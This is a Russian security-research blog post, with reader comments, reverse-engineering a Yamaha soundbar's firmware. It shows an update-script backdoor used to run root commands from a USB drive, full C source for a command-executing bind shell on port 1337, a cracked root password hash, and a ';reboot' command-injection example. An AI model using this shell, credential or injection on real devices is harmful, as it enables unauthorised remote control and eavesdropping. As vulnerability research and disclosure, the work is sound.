![КДПВ КДПВ](https://habrastorage.org/getpro/habr/upload_files/46f/04b/273/46f04b273b868c5a562f4a3e2957ec9f.png)
Приветствую!
В конце первой части статьи по исследованию саундбара Yamaha я упомянул о плачевном состоянии его безопасности. Но вот то, насколько оно плачевное, я тогда представлял не до конца.
Чтобы вам не пришлось постоянно бегать в первую часть, некоторые моменты оттуда я буду повторять — так будет проще.
Разбираем дамп NAND
Значит так, в прошлый раз мы получили чистый дамп без скремблирования прошивки с флеша. Кому интересно, вот скрипт, который расшифровывает NAND-дамп. Нужно теперь разобраться, что в нём хранится. Давайте запустим binwalk
и узнаем. Вот что мне удалось выделить:
Файловая система UBIFS.
Образ с ядром.
Tee- и TrustedOS-образы.
Загрузчик от MediaTek.
Последний нам уже не особо интересен, так как свою роль он сыграл в первой части статьи. А вот с файловой системой стоит разобраться. Для дампинга содержимого UBIFS существует замечательный скрипт ubidump.py, его я тоже упоминал в первой части. Но чтобы он нормально отработал, нужно дамп слегка подредактировать. Сначала откусываем от файла все spare-area-блоки (размером 0x40
байт, встречаются через каждые 0x400
байт). Далее берём часть дампа с первого упоминания UBI#
(это смещение 0xED1000
) и сохраняем в отдельный файлик. Теперь запускаем скриптик:
python ubidump.py -s dump tsop_dump_no_ecc_ed1000.bin
Я запускал это под отладкой, так как биты в моём дампе частенько оказывались свапнуты и CRC32 не совпадал. Приходилось исправлять дамп фактически на лету — этим и занимается NAND-контроллер, применяя ECC.
В результате появился каталог dump/useradata
. Среди полученных файлов я не обнаружил ни одного исполняемого, который помог бы мне расшифровать прошивку (напоминаю, это изначальная цель ресёрча). Зато обнаружился очень интересный файл old.log
. Из него я узнал свой пароль от Wi-Fi, client_id
и client_secret
от Alexa, а также данные о том, куда железка обращается за апдейтами. Возможно, в логе имелось и что-то поинтереснее, но пока я не знал, на что стоит обращать внимание, поэтому стал копать дальше.
Я помнил и другие файлы, которые своими именами в дампе привлекли моё внимание, но они почему-то не сдампились. Например, мне хотелось извлечь yamaha_usb_upgrade.sh
, который называется так же, как один из файлов обновления — yamaha_usb_upgrade.enc
.
В общем, поковыряв дампилку, я обнаружил, что она считает количество блоков (они называются LEB — logical erase block), исходя из размера файла. Также, начиная с какого-то неопределённого номера блока, при парсинге их идентификаторы начинали совпадать и перетирать ранее прочитанные. Значит, плюс-минус с этого момента в дампе идёт другой раздел. Можно попробовать откусить его и снова сдампить. Сказано — сделано.
Обрезаем тот же файл до смещения 0x2C62000
(подобрано экспериментальным путём) и снова запускаем дампилку. На выходе почему-то получаем уже не useradata
, а каталог aud8516-consys-slc-rootfs.
И он мне нравится сильно больше предыдущего. Вот что оттуда извлеклось:
![Содержимое rootfs Содержимое rootfs](https://habrastorage.org/getpro/habr/upload_files/08e/dfb/ebe/08edfbebe86306a07630def53adafb45.png)
Многие из каталогов оказались не пустыми! И конечно же, я нашёл так интересовавший меня yamaha_usb_upgrade.sh
. Правда, он оказался не тем, чего я ожидал. Тем не менее, в этом скрипте обнаружились упоминания других исполняемых файлов, а именно:
/bin/upgrade_app
/system/workdir/bin/smplayer
/system/workdir/bin/localSendSocket
/system/workdir/bin/a01localupdate
Что забавно, ни один из них не расшифровывал файлы обновлений. Пришлось искать по строкам:
![Кто использует файлы обновления Кто использует файлы обновления](https://habrastorage.org/getpro/habr/upload_files/992/eb5/9f0/992eb59f049be42e78f4821d7833d6b8.png)
Так-то лучше. Взглянем на /system/workdir/bin/a01remoteupdate
поближе.
Смотрим на a01remoteupdate
Приложение работает и с сервером обновлений Yamaha, и с обновлением через USB (иначе почему в нём засветилась строка с нужным нам именем файла?). URL обновления я уже видел в old.log
(о нём чуть позже), а вот с флешкой всё куда интереснее. Ниже представлена функция, в которой упоминается yamaha_usb_upgrade.sh
:
![Gen_USB_upgrade() Gen_USB_upgrade()](https://habrastorage.org/getpro/habr/upload_files/c6c/a9d/322/c6ca9d322dba2a7045878ef5fbfcf8dc.png)
Ну не красота ли! Часть функций на скрине я уже переименовал согласно логике внутри, но тем не менее. Во-первых, для нас заботливо выводят имя текущей функции. Во-вторых, описывают каждый шаг. Рассмотрим скрин повнимательнее.
Смотрим на Gen_USB_upgrade()
![Это что, бэкдор? Это что, бэкдор?](https://habrastorage.org/getpro/habr/upload_files/d0f/ff3/f6d/d0fff3f6d0337557a7ea07264db7be56.png)
Это самое начало функции. Я сразу и не обратил внимания на этот кусок, тут же перешёл к расшифровке апдейтов. А вот и зря! Сам каталог /media/
— это наша смонтированная USB-флешка. Программа почему-то ищет там и запускает файлик yamaha_usb_upgrade.sh
, хотя мы прекрасно помним, что на флешку требуется положить только зашифрованные файлы и текстовик с версией. Неужели бэкдор в обновлениях?! Проверим.
Создаём файлик yamaha_usb_upgrade.sh
, который, например, выведет нам все смонтированные разделы:
/bin/mount > /media/mount.txt
Зажимаем кнопки VOLUME-
и POWER
, пока лампочка Wi-Fi не начнёт мигать — процесс обновления пошёл. Когда саундбар запустился, проверяем флешку и… вуаля:
mount.txt
ubi0:aud8516-consys-slc-rootfs on / type ubifs (rw,relatime)
devtmpfs on /dev type devtmpfs (rw,relatime,size=56156k,nr_inodes=14039,mode=755)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
devpts on /dev/pts type devpts (rw,relatime,gid=5,mode=620)
tmpfs on /run type tmpfs (rw,nosuid,nodev,mode=755)
tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755)
cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct)
configfs on /sys/kernel/config type configfs (rw,relatime)
debugfs on /sys/kernel/debug type debugfs (rw,relatime)
tmpfs on /tmp type tmpfs (rw)
mqueue on /dev/mqueue type mqueue (rw,relatime)
ubi1_0 on /data type ubifs (rw,relatime,sync)
ubi1_0 on /var type ubifs (rw,relatime,sync)
tmpfs on /tmp type tmpfs (rw,relatime,size=81920k)
tmpfs on /var/volatile type tmpfs (rw,relatime)
tmpfs on /data/var/volatile type tmpfs (rw,relatime)
adb on /dev/usb-ffs/adb type functionfs (rw,relatime)
/dev/sda1 on /media type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro)
Сразу обращаем внимание, что практически всё смонтировано в режиме rw
(read-write). Это значит, мы с нашим бэкдорным скриптом можем творить вообще всё что угодно! И первым делом мне, конечно же, захотелось получить шелл, например через telnetd. Покопавшись в файлах, видим, что основные системные команды работают через busybox, а значит, всё зависит от того, реализованы ли в нём собственно сервера telnetd, ftpd и т. п. Как окажется позже, нет, не реализованы. Значит, сначала нужно подложить свой.
Пока я искал нормальный busybox/telnetd, скомпилированный в static под ARM64, я быстренько наваял собственный шелл на основе того, что предлагает stackoverflow и Github:
shell_c.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
int host_sockid;
int client_sockid;
struct sockaddr_in hostaddr;
int main() {
host_sockid = socket(PF_INET, SOCK_STREAM, 0);
hostaddr.sin_family = AF_INET;
hostaddr.sin_port = htons(1337);
hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(host_sockid, (struct sockaddr*) &hostaddr, sizeof(hostaddr));
listen(host_sockid, 2);
char buf[8192];
char tmp[8192];
char pp[256];
while (1) {
client_sockid = accept(host_sockid, NULL, NULL);
memset(buf, 0, sizeof(buf));
memset(tmp, 0, sizeof(tmp));
memset(pp, 0, 256);
int sz = recv(client_sockid, buf, sizeof(buf), 0);
buf[sz] = 0;
snprintf(tmp, 8192, "%s 2>&1", buf);
FILE* stream = popen(tmp, "r");
if (stream) {
while (!feof(stream)) {
if (fgets(pp, 256, stream) != NULL) {
int len = strlen(pp);
send(client_sockid, pp, len, 0);
}
}
}
close(client_sockid);
pclose(stream);
}
close(host_sockid);
return 0;
}
Тут всё просто: получаем строку на порту 1337, добавляем к ней вывод stderr
и stdout
, передаём в popen()
, результаты которого отправляем себе обратно.
По аналогии добавляем запуск шелла из скрипта:
chmod +x /media/shell_c
/media/shell_c &
К сожалению, у меня это не сработало. Судя по всему, на FAT32 нельзя устанавливать флаги и права для файлов. Поэтому сначала нужно скопировать бинарь куда-то в файловую систему саундбара, например в /usr/bin
:
cp /media/shell_c /usr/bin/shell_c
chmod +x /usr/bin/shell_c
/usr/bin/shell_c &
В бесконечный по счёту раз перезапускаем колонку, втыкаем флешку, инициируем процесс обновления, после чего сканируем nmap-ом:
sudo nmap -p1337 192.168.0.164
Ларчик, как и требовалось, открылся, и моей радости не было предела! Для пробы вводим ls /
и получаем содержимое корня файловой системы. Это победа! Теперь можно и нормальный busybox подложить, который к тому времени таки нашёлся: busybox_arm64. Будем запускать его пока ещё через собственный шелл, а потом определимся с механизмом автозапуска.
Применяем telnetd
Итак, busybox_arm64 telnetd
запустился нормально, открытый 23/TCP — тому подтверждение. Пробуем войти, но нас встречает просьба ввести логин и пароль.
![Hello, SoundBarSetup_F2A6 Hello, SoundBarSetup_F2A6](https://habrastorage.org/getpro/habr/upload_files/01d/d00/d2f/01dd00d2fd696b39eb19f84b1c6fc3b5.png)
Ищем по ранее сдампленой файловой системе shadow
и смотрим содержимое:
root:$6$WXQ1C/rKpzLochd$IGtembLICL9VAAHFXbyVfVDzAEk8m93M.oCVxeOMsnZfSqd1JhgCwW9o1MYzzTRkhEvAanxLDRtj28/OuVz5E0:19146:0:99999:7:::
daemon:*:19146:0:99999:7:::
bin:*:19146:0:99999:7:::
sys:*:19146:0:99999:7:::
sync:*:19146:0:99999:7:::
games:*:19146:0:99999:7:::
man:*:19146:0:99999:7:::
lp:*:19146:0:99999:7:::
mail:*:19146:0:99999:7:::
news:*:19146:0:99999:7:::
uucp:*:19146:0:99999:7:::
proxy:*:19146:0:99999:7:::
www-data:*:19146:0:99999:7:::
backup:*:19146:0:99999:7:::
list:*:19146:0:99999:7:::
irc:*:19146:0:99999:7:::
gnats:*:19146:0:99999:7:::
ntp:!:19146::::::
systemd-timesync:!:19146::::::
messagebus:!:19146::::::
nobody:*:19146:0:99999:7:::
Видим пользователя root
и его зашифрованный пароль. Не теряя надежды добить железку, суём строчку в hashcat
и… получаем на удивление простой словарный пароль:
$6$WXQ1C/rKpzLochd$IGtembLICL9VAAHFXbyVfVDzAEk8m93M.oCVxeOMsnZfSqd1JhgCwW9o1MYzzTRkhEvAanxLDRtj28/OuVz5E0:bamboo
Да, безопасность несомненно на уровне! Пробуем логиниться и получаем ту самую картину из концовки первой статьи:
![root:bamboo root:bamboo](https://habrastorage.org/getpro/habr/upload_files/19a/b38/86c/19ab3886c71ae866e08ae2a81c89521d.png)
Что ж, девайс повержен! Хотя для верности можно ещё и FTP поднять, заархивировать всю файловую систему в .tar.gz
и сохранить на флешку. Но это было делом уже следующего дня. А пока давайте таки вернёмся к зашифрованным обновлениям — заждались же!
Зашифрованные обновления
Вспоминаем красивый скрин с функцией UPG_Gen_USB_upgrade()
и строку с вызовом prepare_keys()
. Рассмотрим последнюю:
![Tmpx93st93_iv ^ Tmpx93st93_key = AES Tmpx93st93_iv ^ Tmpx93st93_key = AES](https://habrastorage.org/getpro/habr/upload_files/d8d/8bf/eea/d8d8bfeeac34da410cd783e62de21ef8.png)
Tmpx93st93_iv ^ Tmpx93st93_key = AES
Всю функцию можно по сути разделить на три логических блока, в каждом из которых происходит работа с ключами k1
(подсвечен), k2
и k3
. После чтения ключа, который хранится в base64, и инвертирования (reversed(str)
) каждой его строки в decode_str()
, итоговый результат преобразуется в бинарный файл /tmp/TmpAES
через вызов openssl
.
А вот дальше происходит магия: полученный TmpAES хранит в себе данные, зашифрованные с помощью aes-128-cbc. Начальный вектор Tmpx93st93_iv
и ключ Tmpx93st93_key
пока незвестны. Ищем обращения к этим полям структуры g_wiimu_shm,
выясняем, что в rootApp
их нет. Сама глобальная переменная задаётся вызовом функции WiimuContextGet()
, которая реализована в файле libmvmsg.so
. Но и там мне не удалось найти инициализацию секретной составляющей. Зато нашлись другие интересные функции:
![WiimuContextXXX WiimuContextXXX](https://habrastorage.org/getpro/habr/upload_files/afc/3a9/d7e/afc3a9d7e0e8a3f2053b887614b94475.png)
WiimuContextXXX
Моё внимание привлекла вторая в списке — WiimuContextCreate()
. В ней самой, к сожалению, ключ и вектор не задаются, зато это навело меня на мысль, что в тех исполняемых файлах, где эта функция вызывается, и будут присваиваться значения полей:
![Где-то тут создаётся контекст для Wiimu Где-то тут создаётся контекст для Wiimu](https://habrastorage.org/getpro/habr/upload_files/331/fcc/a43/331fcca43205e8efd4ef8b471b12d619.png)
А вот это, видимо, уже то что нужно! Непродолжительный поиск по rootApp
выдаёт нам такой вот участок кода:
![А вот и наши ключики А вот и наши ключики](https://habrastorage.org/getpro/habr/upload_files/90e/36f/bec/90e36fbec2ccb33cde3a7861f032224a.png)
Похоже, пазл сложился. Вернёмся к расшифровке обновлений. До этого мы только подготавливали ключи, само же превращение зашифрованных файлов в обычные идёт следующей строчкой:
prepare_keys();
decrypt_with_Tmpx93st93("/media/yamaha_usb_upgrade.enc", "/tmp/yamaha_usb_upgrade.sh");
Функция decrypt_with_Tmpx93st93()
оказывается крайне простой:
![decrypt_with_Tmpx93st93() decrypt_with_Tmpx93st93()](https://habrastorage.org/getpro/habr/upload_files/809/6db/2e1/8096db2e15d45cbed4213db742f4401c.png)
decrypt_with_Tmpx93st93()
Полученный на предыдущем этапе ключ, который был зашифрован другим ключом, используется всё в том же openssl/aes-128-cbc
— уже для непосредственной расшифровки файла обновления. Набрасываем вновь приобретённые знания в скрипте на Python и применяем его на файле update.enc
. В результате получаем обыкновенный ZIP-архив:
![Расшифровали! Расшифровали!](https://habrastorage.org/getpro/habr/upload_files/6ad/676/efe/6ad676efe7a206cbc94c87a8538f40e2.png)
Таким же образом расшифровываем и остальные файлы yamaha_usb_upgrade.enc
:
![Похоже на скрипт Похоже на скрипт](https://habrastorage.org/getpro/habr/upload_files/f94/117/02d/f9411702def78a768ab04bd895524431.png)
И mcu.enc
:
![Не похоже на скрипт Не похоже на скрипт](https://habrastorage.org/getpro/habr/upload_files/283/464/ba4/283464ba4a2b459a2a2489db02c59202.png)
Вот по сути и всё, чего я хотел добиться изначально. Но ведь это ещё не конец?
![Padme Padme](https://habrastorage.org/getpro/habr/upload_files/3a8/f41/052/3a8f410524b4cba528e60014a9c84bb9.png)
Интересно же ещё на работу с сетью взглянуть. Вот и я хотел бы… Но в данный момент колонка лежит закирпиченная в результате неудачного эксперимента — добавление своей (кривой, конечно) строки в скрипт автозапуска пагубно влияет на старт системы. Поэтому пока переключимся на поиск мест, откуда саундбар сифонит.
— Автор, не томи!!! Сифонит?
— Сифонит :)
Тут я хочу признаться. Когда я писал этот ответ, я только догадывался, что девайс делает что-то нехорошее, но как именно — не знал. Я видел в логах и исполняемых файлах множество упоминаний сайтов типа ota.linkplay.com
, a001.linkplay.com
, cloud-jobs.linkplay.com
, www.wiimu.com
, www.muzohifi.com
, avpro.global.yamaha.com
, aws.amazon.com
; строчек наподобие pingbaidu
; портов с сомнительным ответом от них, которые к тому же светят на 0.0.0.0.
Пришло время со всем этим разобраться.
И начать проще всего с запуска netstat -tulpan
и определения, какие сетевые порты у каких приложений открыты вовне:
![netstat -tulpan netstat -tulpan](https://habrastorage.org/getpro/habr/upload_files/b26/419/e67/b26419e675023815f4d8453f32ec9b49.png)
Можно выделить следующие приложения:
AvsMrmPlayer: 55442/TCP, 55443/TCP
a01controller: 8819/TCP, 49152/TCP, 59152/TCP, 1900/UDP
stunnel: 443/TCP
spotify_connect: 5356/TCP, 5353/UDP
mdnsd: 5353/UDP, 56811/UDP, 54174/UDP
Забавно, но каждое из них запускает один единственный rootApp
, который не проявляет собственной сетевой активности. Давайте взглянем на него.
Смотрим на rootApp
Прежде чем мы продолжим, стоит немного рассказать, как сервисы колонки общаются между собой:
В каталоге
/tmp
создаётся файл с конкретным именем, за которым следит тот или иной сервис.При изменении содержимого этого файла приложение его вычитывает и выполняет необходимые действия.
Результат выполнения команды записывается в тот же файл.
Например, у приложения rootApp
отслеживаемый файл называется /tmp/RequestGoheadCmd
.
Перейдём непосредственно к его анализу. Вот начало функции main()
:
![Что-то крайне подозрительное Что-то крайне подозрительное](https://habrastorage.org/getpro/habr/upload_files/eba/c16/d85/ebac16d85c05b31129e2a4481f1cf790.png)
Сначала с помощью RC4 расшифровываются какие-то конфиги и сертификаты для stunnel
, после чего он запускается. Как по мне, крайне некрасиво хранить на устройстве какие-то шифрованные конфиги и ключи, а тем более использовать их при создании TLS-туннеля. Давайте расшифруем конфиги и посмотрим, что там:
[web_https]
accept = 443
connect = 127.0.0.1:80
cert = /system/workdir/misc/stunnel.pem
requireCert = yes
verify = 2
checkHost = www.linkplay.com
checkEmail = mail@linkplay.com
CAfile = /system/workdir/misc/ca.pem
Видим, что основной порт действительно 443/TCP, который становится доступным только локально на 80/TCP. Остальные опции указывают требование сертификата от того, кто будет подключаться, и определённые значения полей Host и Email в этом сертификате. Как показывает netstat
, за 80/TCP отвечает приложение boa
.
Что за boa такое?
Поиск в интернете приводит меня на репозиторий одноимённого сервера. Судя по всему, его исходный код был изменён для добавления новых команд. Также удалось выяснить, что ранее 80-й порт назывался LinkPlayAPI и был открытым для внешнего доступа. Разработчики зачем-то решили спрятать его в шифрованное соединение, чтобы никто не видел, какую дичь они там исполняют.
А там и правда чего только нет (сразу добавлю, в большинстве команд имеется возможность переполнения на стеке и, соответственно, удалённого выполнения кода)! Полный список команд, о предназначении большинства которых я даже не догадываюсь, представлен здесь: https://gist.github.com/lab313ru/148cee5a11001149aff5cdc76a8f4e57
Вот парочка примеров уязвимых плохо написанных мест в этих функциях:
![Инициализация Инициализация](https://habrastorage.org/getpro/habr/upload_files/4f2/290/173/4f2290173e966006b2dea74c6c021c66.png)
![Место №1 Место №1](https://habrastorage.org/getpro/habr/upload_files/1e3/5b2/5a8/1e35b25a863cc756f53d59c15acb278b.png)
![Место №2 Место №2](https://habrastorage.org/getpro/habr/upload_files/ab3/cdc/0cf/ab3cdc0cf7b663b36ec0f67d287b0cef.png)
![Место №3 Место №3](https://habrastorage.org/getpro/habr/upload_files/b52/c91/9aa/b52c919aae1c3496b4219a294fd1a75d.png)
Специалисту, думаю, будет очевидно, в чём именно заключаются уязвимости. Для тех же, кому эта тема не слишком близка, но очень интересна, поясню: на скриншотах можно найти уязвимость переполнения на стеке, она же stack buffer overflow — чуть ли не самая страшная уязвимость человечества, в которой АНБ обвиняет сам язык программирования C. Чтобы объяснить, как она работает, я приведу аналогию (конечно, натянутую, но я попытался):
У вас есть кошелёк. По заверениям его «разработчиков», туда можно положить ровно 128 купюр и один ключ от дома. Если же попытаться положить больше купюр, в какой-то момент у вас разойдётся шов, и ключ от квартиры выпадет, так как шов проходит именно там. Так вот, если хакер знает об этой уязвимости кошелька, он подкинет в него купюру-эксплоит и будет ходить за вами, пока не добудет ключ.
Кроме этой уязвимости, на скриншотах представлена ещё одна: возможность встроить сторонние команды, кроме тех, что задумывались разработчиком. Как это работает? Есть функция system()
, которая может выполнять системные команды. Если же за один раз нужно выполнить несколько операций, их следует разделить точкой с запятой. Учитывая, что содержимое строки, которую мы отправляем, никак не фильтруется и вставляется в другую команду как есть, можно вместе с необходимыми данными добавить, например, ;reboot
и получить перезагрузку устройства.
Если же затрагивать исключительно функционал LinkPlayAPI, то вот вам вкусняшка: у разработчика есть возможность получения стрима с вашего микрофона, всё так же удалённо. Для этого отправляется одна из множества специальных команд, после чего поднимается особый сервис asr_tts
(который почему-то ещё называется hobot
). У этого сервиса реализован собственный протокол для управления процессом записи.
Занимательно, что лампочка Alexa при этом гореть не будет и вы никак не узнаете, что вас слушают.
Это далеко не полный перечень интересностей, на которые способен этот саундбар. Накину вам парочку, а в следующей части, если захотите, разберу их подробнее.
Вот кусок приложения nv_ioguard
, команды которому также приходят через 443-й порт:
![What the hex? What the hex?](https://habrastorage.org/getpro/habr/upload_files/989/d3b/e1c/989d3be1cf8bd6d7d7e724ccf2eac1f8.png)
Если не обращать внимания на имя функции, то на первый взгляд здесь ничего интересного. Но стоит эту HEX-строку декодировать…
![??? ???](https://habrastorage.org/getpro/habr/upload_files/857/a2e/ccd/857a2eccd79a4a3fbf8b06d493b0abe5.png)
К сожалению (или к счастью), ссылок на эту функцию не нашлось, как и на строку CustomShell
в приложении rootApp
. Но само наличие такого функционала (возможно, уже в другом, более законспирированном виде) радовать не может. Следующая функция туда же:
![Шо, опять? Шо, опять?](https://habrastorage.org/getpro/habr/upload_files/592/e9e/65c/592e9e65c4278bcfd99755f1ddf86e0d.png)
Также моё внимание привлёк файлик ota.json
в каталоге с сертификатами:
![Как бы OTA, но не OTA Как бы OTA, но не OTA](https://habrastorage.org/getpro/habr/upload_files/9b2/26a/06e/9b226a06ecdf6539146b36569c126d5d.png)
Может показаться, что этот файл нужен только в контексте OTA-обновлений. Но что вы скажете, когда увидите, как он используется?
![](https://habrastorage.org/getpro/habr/upload_files/c3a/393/a02/c3a393a02bb1a7117cfe858b25e473f5.png)
lp_cloud_report_device_event_info
Как вам название текущей функции: lp_cloud_report_device_event_info
? Самое интересное то, что пути imgName
и downPath
на этой железке в принципе не используются!
В общем, давайте на сегодня закончим, а то и так получилось очень много материала. В следующей части я планирую подробнее рассказать о различных бэкдорах, оставленных в саундбаре, сливаемых данных и логах, в которых, например, можно откопать и свой пароль от Wi-Fi. Зачем он разработчикам?
Также я протестирую все свои находки прямо на саундбаре. А то одна колонка лежит закирпиченная, вторая только-только приехала и пока ничего конкретного протестировать не удалось.
Затравка к следующей статье
Распаковываем вторую колонку (а то первая уже кирпич):
![Матильда Матильда](https://habrastorage.org/getpro/habr/upload_files/574/0cc/b7a/5740ccb7ab1dc1cc7a77cdf9fb82f977.png)
Исполняем код удалённо:
P.S.
Даже если разработчик не выходит на связь и не хочет исправлять уязвимости, это не значит, что цель (закрыть уязвимости) не будет достигнута. Так, по результатам предыдущей статьи про уязвимости в видеорегистраторе Wisenet HRX-1620
, на неё вышли разработчики, и пообещали выпустить обновления в конце октября. Это не может не радовать. Ждём того же от Yamaha.
Комментарии (12)
c0nstruct0r
20.10.2023 18:15Интересно, получится ли в итоге RCE? Возможно ли массово заражать такие саундбары?
Netra
20.10.2023 18:15+1Автор красавчик!
Сам думал взять что-то подобное "умное", но в итоге ограничился классическим подключением. Ну и запретил другой колонке с сетью выход в мир днс-сервером.
gwathedhel
20.10.2023 18:15+4Вот очень интересно было бы такой реверс про Алису почитать. А то очень много воплей про то, что никто никого не слушает... А мой внутренний параноик недоволен.
AlexeyBy
20.10.2023 18:15+1Очень качественное, глубокое реверс-инжиниринг исследование!
Заставляет всех нас задуматься о том, настолько ли безопасны всяческие умные колонки с голосовыми помощниками. Получается, что подозрения, что пользователя слушают не только тогда, когда он хочет этого (когда отдаёт голосовую команду) - вполне себе реальность, а не паранойя.
Art_VN
20.10.2023 18:15+1Однозначно торт! Очень захватывающе.
Теперь начинаю косо посматривать на свой samsung. upd: Побежал изолировать его от интернета.
В теории, если получили рут на устройстве, можно добавить в него немного магии в виде spotify connect (при отсутствии), либо аналоги (deezer тот же) и прочее.
В общем, даешь альтернативный дистр для саундбаров и ресиверов !
VT100
Автор - торт!
Заложил топик, буду читать до просветления. Скрэлмбл - интересная идея, не очевидная для меня.